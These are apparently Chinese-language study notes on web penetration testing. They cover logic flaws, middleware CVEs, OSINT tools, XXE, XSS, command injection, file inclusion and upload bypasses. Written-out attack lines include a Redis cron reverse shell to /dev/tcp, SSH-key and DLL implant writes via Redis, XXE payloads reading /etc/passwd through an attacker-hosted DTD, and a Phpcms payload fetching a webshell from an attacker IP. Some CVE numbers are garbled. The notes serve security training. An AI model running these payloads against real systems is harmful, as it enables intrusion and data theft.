new逻辑漏洞

一、越权

方向:1、垂直越权;2、水平越权 ;3、未授权/无级别用户

测试:

1、注册一个合法用户

2、修改用户密码时抓包,修改用户名

3、若成功,发生越权。

未授权:登录后,修改密码时抓包,将cookie删去,若还能执行,则存在未授权漏洞。

难点:判断数据包中与身份相关的字段,修改尝试越权。

打包下载js代码:

工具:packerfuzzer

python .\packerfuzzer.py -u https://x.x.x.x/xxx/xx

支付类型逻辑漏洞:

1、修改价格

2、修改数量

3、替换支付:以A的价格去买B的订单。先生成A的订单但是不支付,相当于修改的产品的其他信息。

优惠卷测试方式:盗用/复用:
盗用:算出优惠券id规律
复用:重复使用优惠券id


机制验证:

验证码突破-回传显示&规律爆破

验证目标-重定向目标&重定向发送

验证逻辑-修改响应包&跳过步骤url

一、验证码:

测试:发送一个错误验证码观察响应包,可能响应包中包含正确的验证码。

爆破要求:验证码能够回显,不限制爆破次数,不限制时间。

测试:注册一个合法的用户。修改或者找回密码时,收到验证码后拦截抓包,修改数据包中的账号相关信息比如邮箱或手机号码,若放行后成功则成功修改其他用户的密码。

二、验证目标:

测试:如果数据包中有外部地址,尝试修改成vps的地址,可能验证码会发改vps中。

三、前端验证绕过响应包

测试:先按照合法流程找回密码并且观察数据包,如记住响应报文状态码都是200。然后重置另外一个用户,由于不知道验证码,先填写错误的验证码进行拦截,抓包。由于bp默认只拦截请求报文不拦截响应报文,在本次测试右键接受响应报文,将合法的报文粘贴替换到非法报文中,若成功则能重置任意用户密码。


插件、工具 验证码:

1、图片验证码-识别插件,用处:登陆爆破&接口枚举

工具:https://www.github.com/smxiazi/NEW_xp_CAPTCHA


乌云文章:

1.支付功能

支付超时:存在类似orderid 和order_userid,同步递增递减尝试遍历。

2.验证码

短信轰炸:复用验证码,替换手机号码实现短信轰炸

密码重置:正常注册一个用户,重置密码,发送验证码验证成功后,先不要输入新的密码提交,在同一个浏览器,输入被测试账号,发送验证码提交,关闭该页面。此时再在原来的重置界面刷新,观察url是否发生变化,发生变化则输入新的密码并且提交,尝试是否能够修改受害用户的密码。 //原理:cookie混淆
发现思路:找回密码流程走到提交新密码阶段后,拦截抓包查看数据细节,寻找可控参数。

new工具、网站

棱角:有在线工具,提供各类命令参考。如无图形化下载命令等

burp必要插件:

1、apifinder:JS爬取

谷歌插件:

1、wappalyzer:识别网站插件

2、packer-fuzzer:扫描前端代码

#项目插件工具:

https://github.com/ffuf/ffuf

用Go编写的快速 Web 模糊测试程序。

https://github.com/gh0stkey/HaE

HaE是一款网络安全(数据安全)领域下的框架式项目,采用了乐高积木式模块化设计理念,巧妙地融入了人工智能大模型辅助技术,实现对HTTP消息(包含WebSocket)精细化的标记和提取。

https://github.com/Threezh1/JSFinder

一款用作快速在网站的js文件中提取URL,子域名的工具

https://github.com/pingc0y/URLFinder

URLFinder是一款快速、全面、易用的页面信息提取工具

用于分析页面中的js与url,查找隐藏在其中的敏感信息或未授权api接口

https://github.com/rtcatc/Packer-Fuzzer

针对Webpack等前端打包工具所构造的网站进行快速、高效安全检测的扫描工具

https://github.com/shuanx/BurpAPIFinder

攻防演练过程中,我们通常会用浏览器访问一些资产,但很多未授权/敏感信息/越权隐匿在已访问接口过html、JS文件等,通过该BurpAPIFinder插件我们可以:

1、发现通过某接口可以进行未授权/越权获取到所有的账号密码、私钥、凭证

2、发现通过某接口可以枚举用户信息、密码修改、用户创建接口

3、发现登陆后台网址

4、发现在html、JS中泄漏账号密码或者云主机的Access Key和SecretKey

5、自动提取js、html中路径进行访问,也支持自定义父路径访问 …

https://github.com/GerbenJavado/LinkFinder

功能类似于JSFinder,但JSFinder好久没更新了。

https://github.com/ttstormxx/jjjjjjjjjjjjjs

针对webpack站点,爬取网站JS文件,分析获取接口列表,自动结合指纹识别和fuzz获取正确api根,可指定api根地址(针对前后端分离项目,可指定后端接口地址),根据有效api根组合爬取到的接口进行自动化请求,发现未授权/敏感信息泄露,回显api响应,定位敏感信息、敏感文件、敏感接口。支持批量模式。支持需认证接口自动尝试bypass。

https://github.com/momosecurity/FindSomething

该工具是用于快速在网页的html源码或js代码中提取一些有趣的信息的浏览器插件,包括请求的资源、接口的url,请求的ip和域名,泄漏的证件号、手机号、邮箱等信息。

https://github.com/ScriptKid-Beta/Unexpected_information

BurpSuite插件用来标记请求包中的一些敏感信息、JS接口和一些特殊字段,

防止我们疏忽了一些数据包,使用它可能会有意外的收获信息。

安恒redteam-2(中间件)

一、Tomcat(jsp网站)

弱口令&&部署war包

Vulhub下载yml文件,在kali运行

CVE-2017-12615[put方法]
运行环境:windows 且 开启http put(put默认关闭)
影响版本:apache tomcat 7.0.0-7.0.81
影响范围:(几乎实战中不存在,因为需要人为开启不必要的选项

CVE-2019-0232[CGIServlet命令注入]

CVE-2020-1938[AJP]

弱口令&&部署war包:通用性漏洞-实战存在

War文件:web archive file是网络应用程序的文件格式。由于jsp特性,不像php能直接在www目录下运行,jsp需要中间件进行部署如tomcat,所以该漏洞是tomcat的通用型漏洞。)

如果有上图所示tomcat的展示界面,从manager app 窗口进行登录,从网上找口令尝试。或者访问 http://x.x.x.x:xx/manager/html 进入管理后台(若存在)。
进行暴力破解时,tomcat属于基础验证,在请求头中有经过base64加密的账号口令: tomcat:tomcat //base64加密前,使用bp的爆破模块,将账号字典和密码字典在excel上进行拼接,中间用冒号隔开,然后通过base64加密。

拉取镜像

Tomcat是apache的扩展,开发和调试JSP程序的首选,对应木马类型应该是.JSP脚本。低版本tomcat存在弱口令(<7),而tomcat8没有默认用户,需要管理员通过本地ip修改配置

环境起不来

二、Nginx

CVE-2013-4547[文件名逻辑错误]

起环境

该漏洞在文件名后面加一个空格就可以绕过(linux)

将文件名修改为xx…php[空格] 一样可以发送

通过bp或者edito 010修改hex(16进制数据),png….php中的前两个点为 20 00

接着访问该文件 如test.pnbg…php依然在bp修改hex ..为20 00 放行

可以成功解析php。原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。

CVE-201707529[越界读取缓存漏洞]

先启动环境

运行poc,发现获取到了多余的缓存内容

目录穿越

原理:使用了不正确的配置。比如本该通过/file/定向到/home/(取别名,file相当于home),却写成/file缺少/结尾,导致可以/file../造成路径穿越

此时输入../能造成路径穿越

解析漏洞

类似 CVE-2013-4547 nginx调用fastcgi处理“ .php”文件时,若该文件不存在,就会触发修复路径的机制,解析上一层文件,也就是本来是https://ip/test.png/.php,由于该文件不存在,fastcgi进而解析test.png而该文件可以是图片马。

但是!如果php-fpm.conf中的security.limit_extensions指定fastcgi解析文件的类型时,只有该设置为空,也就是管理员未进行配置时,fastcgi才可以将“ .png”文件当成php代码执行

CVE-2019-11043[PHP-FPM远程代码执行漏洞]

三、Apache

CVE-2017-15715[换行解析漏洞]

Apache HTTPD 换行解析漏洞(CVE-2017-15715)

上图为环境成功运行的反馈

如下图,直接上传文件会被拦截

在数据包中加入显示

多后缀解析漏洞

CVE-2021-40438[mod_proxy SSRF]

SSI远程命令执行

CVE-20221-41773[路径穿越]

只有符合该版本并且开cgi开启或cgid开启才可能被利用

上图环境起好了

CVE-2021-42013[路径穿越]

是对cve-2017-41773的绕过

Url二次解析绕过

四、Log4j

CVE-2017-5645[反序列化]

Log4j用于控制日志传输。信息格式级别

CVE-2021044228[JNDI注入]

环境起不来

Redis

Docker pull vertigo/redis4

Docker run -p 6379:6379 vertigo/redis4

1、

redis存在持久化机制,可以自动触发以及手动触发。手动触发可以通过“save”命令触发备份数据库中的数据,可以实现对服务器任意路径写入任意名称任意内容的数据。

利用条件:redis存在未授权:空口令连接。或者口令被爆破能成功连接上redis数据库,还需要开启web服务并且知道web目录的绝对路径。对文件具备读写权限。

  • redis主从复制getshell

原理:一个实例为主,其他示例为从,主负责写,从负责读。

条件。Redis存在未授权等漏洞被成功连接,目标主机和攻击主机网络联通,redis版本4.x、5.x,通过主从写入.so或者dll,使得目标主机执行被写入的命令。

工具:redis-rogue-server

Url:https://github.com/Dliv3/redis-rogue-server

命令:python3 redis-rogue-server.py –rhost=x.x.x.x(目标主机) –rport=6379 –lhost=x.x.x.x(攻击主机)

Windows下redis主从复制DLL劫持Getshell

  1. 工具:https://github.com/r35tart/RedisWriteFile //利用工具
  2. 恶意dll通过webshell调用利用:

Python3 RedisWriteFile.py –rhost x.x.x.x(目标主机) –lhost x.x.x.x(本地主机) –lfile dbghelp.dll –rfile dbghelp.dll

  • 上传木马exe(cs上线木马)到目标主机的C:\\Windows\\Temp目录,该exe需要免杀

Python3 RedisWriteFile.py –rhost x.x.x.x(目标主机) –lhost x.x.x.x(本地主机) –lfile dbghelp.exe –rfile dbghelp.exe –rpath “C:\\Windows\\Temp”

下面是第二步dll生成的方式:

  1. github上找dll-hijacking(https://github.com/rek7/dll-hijacking)
  2. 编辑该dll文件,修改dbghelp_的导出路径,即 dbghelp_=>C:\\Windows\\System32\\dbghelp

Linux系统下的redis

原理:利用Redis写入SSH公钥。Linux的ssh密钥登录功能是通过自带的免密功能生成公钥和对应的私钥,将公钥上传至目标主机特定位置并且特定命名,攻击机可通过私钥ssh连接。

而redis写公钥是将攻击机本机的ssh公钥作为value,然后修改数据库的默认路径为/root/.ssh和默认文件名authorized.keys,把数据备份到authorized.keys中,就可以通过密钥登录。

利用背景:redis能被成功连接且开放ssh,并且redis进程为高权限(写入位置在root)并开启密钥登录认证功能

在实际情况内网环境中,ssh可能不是22端口。

  1. 在kali的~/.ssh目录下输入(root权限): ssh-keygen -t rsa

即在当前目录下生成文件。

  • 生成带有换行符的密钥并传入redis

(echo -e “\n\n”;cat /Users/sven/.ssh/id_rsa.pub;echo -e “\n\n”) > key.txt

Cat key.txt | ./redis-cli -h x.x.x.x -x set xxx

  • Config set dir /root/.ssh/   //设置目录
  • Set dbfilename authorized_keys  //设置文件名
  • Save //保存
  • Ssh -i /Users/sven/.ssh/id_rsa root@x.x.x.x

Redis写入linux计划任务

漏洞原理:将文件写入系统计划任务目录 /var/spool/cron/root文件来执行。Redis操作同写webshell,关键点是将一句话计划任务作为value,通过修改数据库的默认路径为 /var/spool/cron/和默认文件名root,将数据备份到root文件里,系统根据计划任务执行命令(和持久化道理一样)

利用条件:redis能被连接,目标主机能访问攻击机,且目标主机系统为centos,redis进程为高权限(什么叫高权限?)可以设置计划任务。

漏洞利用:连接上redis的情况下:

  1. set xxx “\n\n*/1*****bash -i >& /dev/tcp/攻击机公网ip/443 0>&1\n”   //反弹shell监听443端口
  2. Config set dir /var/spool/cron/
  3. Config set dbfilename root
  4. Save

若不成功,需排查原因如出网的端口可能不是80或者443

Weblogic:(jsp网站)

CVE-2017-10271(前几年护网常见漏洞)weblogic反序列化漏洞

漏洞原理:weblogic server 的wls组件存在缺陷,由wls-wsat.war触发

Weblogic 10.3.6.0存在漏洞较多

CVE-2020-14883/CVE-2020-14882组合漏洞

14883在浏览器url地址栏输入:http://目标主机ip:目标主机端口/console/css/%252e%252e%252fconsole.portal 若成功返回可操作界面证明存在该漏洞。

通过14883可以使用14882进行命令执行getshell。

jboss(jsp网站)

安恒redteam-1

安恒九维能力:红队突破;橙队赋能;黄队建设;绿队改进;青队处置;蓝队防御;紫队优化;白队管理
ATT&CK:14个攻击内容-215个攻击活动
安恒-红队
攻击流程:
无感知:不直接使用自己的工具、ip等对目标进行扫描,信息打点阶段通过公开的网站、工具如fofa、zoomeye进行测绘;google语法搜索;dns历史解析记录等
情报刺探:访问web服务(http、HTTP),通过插件识别组件、插件信息
漏洞利用:识别出通用的web服务如tomcat,在一些网站如某DB或者msf的exp模块搜可利用漏洞并执行,获取webshell
提权:使用webshell工具连接受害主机后,通过漏洞或不安全的配置进行提权,将普通用户权限提升为管理员权限
横向:以受害主机为跳板机,在内网域之间横向攻击
隧道后门:持久化留后门,dns隧道、vpn隧道、计划任务等
一、开源情报OSINT框架(open source intellingence):
相关URL:
1、https://www.osintframework.com
2、https://4vio.com/osint //可翻译成中文
1、端口扫描:
扫描工具:
nmap 外网资产扫描
url:https://nmap.org
常用参数:
-v //显示扫描过程
-A //进攻式扫描
-nP //不用icmp ping
-Pn //视主机存活直接扫描
–top-ports 100 //扫前100
扫描方式:
-sT //最稳定,三次握手
-sS //默认,无完整握手
-sV //扫描主机和端口的版本
绕过防火墙:
-S //源地址伪装,自定义设置源地址,比如把源地址改成127.0.0.1
-source-port //指定源端口,如53
massan
url:https://github.com/robertdavidgraham/massan
常见参数:
–top-ports 100 //扫描前100
-rate 100000 默认每秒100个包
-iL filename //从文件读取输入
-v //详细输出
2、子域名搜集
工具:
subfinder:(需要go环境)
url:https://github.com/projectdiscover/subfinder
oneforall:(需要python3)
url:https://github.com/shmilylty/Oneforall
命令:python3 oneforall.py –target xxxxx.com run
sublist3r:(python3)
url:https://github.com/aboul3la/sublist3r
命令:python3 sublist3r.py xxxx.com -p53,443,8080
子域名挖掘机:
url:https://www.webshell.cc/6384.html
3、whois/DNS查询
工具:
centralops //whois记录、dns记录
url:https://centralops.net/co/DomainDosasier.aspx
dnsdumpster.com //DNS解析记录-推荐
url:https://dnsdumpster.com
4、ip反查域名
工具:
IP38
url:https://www.ip138.com
5、cdn
工具:
chinaz //查询是否有cdn以及供应商名字
url:https://cdn.chinaz.com
6、数字证书
工具:
censys //查询签名、过期证书等
url:https://search.censys.io/
7、空间测绘
工具:
fofa
shodan
spyse
dnsdb
8、用户名昵称
工具:
sherlock
url:https://github.com/sherlock-project/sherlock
maigret
url:https://github.com/soxoj/maigret
whatsmyname
rocketreach
9、邮件搜集
工具:
hunter //查询邮件后缀
url:https://hunter.io
omail
url:https://omail.io
skymem
url:https://www.skymem.info
infoga //检查邮件是否泄露 python3
url:https://github.com/m4ll0k/infoga
10、临时邮件:
收件:
fakemailgenerator
url:http://www.fakemailgenerator.com
收发、无需注册:
kuku
url:https://m.kuku.lu
11、IP定位
工具:
ipuu //高精度定位ip
url:www.ipuu.net
12、综合搜集
工具:
goby
maltego //kali自带 查询dns解析、子域名、邮箱关联
url:https://www.maltego.com
13、代码信息泄露
工具:
searchcode //各大源码查询源代码泄露 效果好
url:https://searchcode.com
14、密码泄露
工具:
intelx //搜集密码泄露
url:https://intelx.io
14、设备默认密码
工具:
cirt //设备的默认密码
url:https://cirt.net
routerpasswords
url:https://www.roputerpasswords.com
15、历史漏洞
工具:
乌云
url:http://wy.zone.ci

公众号

杂项:
微信公众号的类别:
·服务号
·订阅号
·企业公众号
·小程序
若企业微信公众号能跳转外部小程序等外部应用的内容,有挖掘潜力否则不必要挖掘。

web应用:
网站php解析、下载的区别,体现在中间件如何解析文件类型(MIME类型)

数据库:
    常规-本地一致
    站库分离-另使用一台服务器的数据库
    站库分离-云数据库应用
网站搭建:子域名
    端口站
    目录站
前后端分离:
    前端:只展示数据,更新通过api
    后端:实际处理数据
    漏洞:   1、前端页面大部分不存在漏洞
            2、后端管理大多在另一个站点(另一个域名)
            3、获取到的权限可能不影响后端
    集成类环境:
        宝塔+phpstudy:由于安装时使用administrator权限安装集成类,导致继承了administrator权限。(宝塔目前相对安全)
            原理:打包类集成化环境,权限配置可能会被控制。
        docker: 
            影响:拿到权限只是docker的权限,不是真正的权限。
            应对:docker逃逸
建站分配站:
    1、托管
    2、申请

新xxe

危害:读取任意文件

示例:在有xxe漏洞的地方输入

<!DOCTYPE note [ <!ENTITY name “xxxxxx”> ]>
<test>&name;</test>
可以触发显示xxxxxx

存在xxe的特征:

由上图可以看出,抓包发现有一个根元素,里面有两个子元素。

如上图,先在请求体添加一段定义实体的代码:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM “file:///etc/passwd”> ]>
然后再在标签中引入xxe,如<username>&xxe;</username>

如果观察响应体,要看哪些标签是会回显的,如<username></username>之间的会回显,而<passwd></passwd>不会回显。但是其实是可以执行的,回显就应该使用带外,如dnslog

外部xxe类似,如下图

其中x.x.x.x是vps,在vps的httpd服务目录下有一个1.dtd,dtd文件是以下内容:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM “file:///etc/passwd”> ]>
<!DOCTYPE test [
<!ENTITY %a SYSTEM “http://x.x.x.x/x.dtd”>
%a;
]>
然后在存在漏洞且可以回显的标签下修改&xxe //因为dtd文件里是xxe

新xss

上图插入的xss,当受害用户点击会搜集相关信息,便于攻击者进行钓鱼攻击。

xss最主要的运用方式是操作cookie:

上图是javascript中windows.document的常用方法:
document.cookie=”username=John Doe”; //创建cookie
document.write(document.cookie) //读取cookie
document.cookie = “username=;expires= xxxxxxxxx”; //删除cookie

xss分类:
反射 payload插入html代码
存储 payload插入html代码
dom payload插入javascript代码 //dom-xss 也属于反射型xss

dom:

如果xss输入时有长度限制,尝试修改前端html代码,取消长度限制。

如上图,通过img的src来使得目标服务器向攻击机请求恶意文件。原理是某些标签有提交get请求的功能。

获取到cookie后可以直接利用,如下图:

在F12的storage功能下,点击+新建n个记录,分别对name、value进行修改成cookie中的值,刷新后便以当前cookie所属的身份进入系统。但是如果网页或者服务器开启 httponly =true 则获取不了cookie

AJAX异步:用于记录键盘输入

<?php
$img_path = $_GET[‘path’];
echo ‘<img src=”‘.$img_path'”> ‘;
?>

找xss的输出点,看看是否在某些标签内部,根据标签使用特定的事件触发xss

新命令执行

示例:
如某个功能点的设计本意是执行icmp ping,若在该输入框输入 x.x.x.x & whomai 之类的命令后得到预想中的结果。

若执行命令的函数被php设置的 disable functions 禁用,则需要bypass。

system():
输出执行结果

exec():
无回显,若使其输出,仅能输出最后一行。

shell_exec():
无回显,能输出所有结果

passthru():
输出执行结果

popen():
返回一个函数指针

` `反引号:背后调用的ell_exec()函数

新文件包含

文件包含导致代码解析的原理:如php文件中包含其他文件,若其他文件中包含部分php可执行的命令,则会被执行。

可见require()和include()的区别在于require()由于程序运行立即调用,因此文件不存在必报错。

文件包含与php配置有关,其中
allow_url_fopen=on/off 是否允许打开url文件,默认是开启。因为需要远程加载js文件或者图片。
allow_url_include=on/off 是否允许引用url文件,激活以url形式fopen封装协议,可以访问url对象文件,默认是关闭的。

文件包含分为本地文件包含(占绝大多数)以及远程文件包含。

本地文件包含:
通过相对路径或者绝对路径打开并包含本地文件的漏洞。
利用条件:
php配置中 allow_url_fopen=on (在php.ini文件中配置)
用户可以动态控制变量

测试1、php代码添加上”.php“之类的代码
绕过:
1、%00截断
2、输入超长字节数据,利用系统特性进行绕过(windows256字节,linux4096字节)
3、点号绕过

远程文件包含:
绕过:
1、 ?截断:在url后加上?,根据url的特性,?后面表示参数。
2、#绕过:在url后加上%23(%23是#的url编码)

测试2、若存在本地文件包含漏洞,但无法通过上传恶意php脚本、文件,如何?
解决:借助服务器已有的文件,并且能控制其输入,比如日志文件(access_log)

正常情况下,若执行命令成功,则日志会保存在目标系统的access_log文件中,若运行失败则保存在error_log文件中。尝试包含日志中的内容触发。
日志的路径在/var/log/https/access_log或者error_log

如上图,在存在文件包含漏洞的地方,通过如?filename=/var/log/httpd/access_log请求访问日志。应该注意的是,输入的url会被浏览器进行url编码,解决办法是通过bp将代码改回正常的php命令。然而发包出现400错误,因为<?php xxx ?>有空格,不过日志会正常的接收,见下图,日志文件中完整的保存了php语句,此时就可以包含该日志文件。


但正常情况下,日志文件既大并且内容杂,可能会影响php代码的执行。

测试3、伪协议

https://www.cnblogs.com/endust/p/11804767.html //伪协议的用法大全

php伪协议事实上是支持的协议与封装协议。如上图,重点使用其中的 php:// 访问各个输入/输出流。

1、file://
由上图可见 file://协议一般情况下都可以使用,如
?path=file://c:\windows\System32\drivers\etc\hosts
限制条件:只能使用绝对路径


2、php://filter
用途:读取php源码

如上图,该伪协议为重点使用的协议,用法如下:
?path=php://filter/read=convert.base64-encode/resource=xxxxxx.php(要读取源代码的文件)

3、php://input


用途:访问请求的原始数据的只读流,将post请求的数据作为php代码执行。
使用条件:
php.ini(在/etc/php.ini)中的 allow_url_include:on
使用方法:在存在文件包含的路径下输入
?file=php://input //在请求头中输入
php执行命令如<?php phpinfo();?> //在请求体中输入

4、data://


文件包含漏洞的常出现的点:

新文件上传

测试1:mime-type检测

原理:如上图所示,部分上传功能会根据上传的文件名分配“content-type”字段,如上传gif时,content-type识别成image/gif。若前端存在检查代码看content-type字段是否合法,直接上传php会失败。但是可以先把php一句话木马命名成gif,上传时通过bp改包,将名字修改回php,可以绕过前端检测content-type功能。

测试2:文件头检测

上图罗列了常见图片格式的为文件头16进制数。
png:89 50 4e 47 0d 0a 1a 0a
jpg:ff d8 ff e0 00 10 4a 46
gif:47 49 46 38 39 61
文件头代表了文件本质,修改文件命名不会影响本来的文件头。

如上图,基于文件头检测是某些系统使用php中getimagesize()函数验证上传的图片文件是否为图片文件以及大小时候合规,比如出现在某些能上传照片的功能点中。

绕过:
方法1:
在测试1的基础上(先修改成gif,再在bp改回php)
在请求体的一句话木马之前加上“GIF89a”,伪造成gif格式的文件。(或者上传图片马。图片马制作方法可使用010 editor这类可以修改文件16进制代码的软件,在图片后写上一句话木马。)
方法2:
修改一句话木马的内容,在一句话木马前一行写上6个字符如abcdefg,上传后在bp的hex中修改这6个字符为png的文件头即 89 50 4e 47 0d 0a 1a 0a
方法3:
上传png,在bp修改请求体中的代码,只留下文件头,再加上一句话木马。

测试3:黑白名单验证

黑名单:

黑名单容易漏危险的后缀。
绕过黑名单:
1、大小写混合写。如windows系统下,如果只对php进行拉黑,写成Php可以绕过。但目前很少了。并且有一些系统会执行函数将所有字符转换为小写。
2、利用windows会过滤非法字符的特性,如文件名结尾为.或者空格时,windows会去除,因此上传文件时,使用bp在文件名后面加上一个.或者空格之类的非法字符完成黑名单绕过。
3、%00绕过:
利用条件:
php版本低于5.3.4(目前极少)
php的magic_quotes_gpc为off状态
绕过原理:%00在url编码中时null,也就是结束的意思。在文件名1.php .jpg其中php后是空格,在bp中通过hex将空格的十六进制修改为00,完成截断。

白名单:

1、解析漏洞:
apache解析漏洞:
版本apache1.x以及apche2.x
原理:apche收到请求报文后,解析上传文件按照自从右往左解析,如test.php.aaa.bbb,依然可以被当成php文件执行。
apche之所以将文件名为.php结尾的文件解析成php,是因为apache的mime.types文件中存在键值对关系。
2、配置问题导致解析:
apache的conf文件中addhandler php5.script php //只要后缀有php 都会按照php解析
apache的conf文件中addtype application/x-httpd-php .jpg //会将jpg结尾的文件按照php进行解析。因此在后渗透测试阶段留后门的时候可以进行该操作。
3、 .htaccess文件解析
.htaccess是配置文件的子配置文件,如在upload目录下存在一个.htaccess文件。。对于文件上传漏洞而言,最重要的是.htaccess对于mime类型的修改。
在upload目录下上传一个.htaccess文件,写上addtype application/x-httpd-php .jpg,并且上传以.jpg结尾的一句话木马文件。访问一句话木马文件,.jpg会当成php解析。
4、IIS6.0解析漏洞
目录解析:
存在一个/xxx.asp/xxx.jpg //高亮是一个目录的名称,在该目录下所有文件名都会按照asp进行解析。
5、IIS 7.0 / IIS 7.5 / Nginx 1.x 机畸形解析漏洞(php fast-cgi解析漏洞)
漏洞原理:fast-cgi存在路径修复的特性,如/1.txt/2.png/3.php,如果/1.txt/2.png/3.php不存在就会去掉3.php,判断是否存在/1.txt/2.png,若存在则当成/1.txt/2.png/3.php文件来解析。说白了是上传一个以shell.jpg结尾的一句话木马,但是无法被解析,此时在上传目录url下再加上/xxx.php,由于xxx.php不存在且具有解析漏洞,shell.jpg会被当成php进行解析,结果就是能成功解析php一句话木马。

测试4、编辑器漏洞

漏洞:

漏洞1:Phpcms V9.6.0任意文件写入getshell
修改抓包内容,用户必须属于新注册信息,才会显示报错 siteid=1&modelid=11&&username=hack&password=111111&pwdconfirm=111111&email=hack%40qq.com&nickname=hack&info[content]=<img src=http://192.168.1.65:9000/shell.txt?.php#.jpg>&dosubmit=1&protocol= //标黄为在vps上开启http服务,并且生成一句话木马的php文件。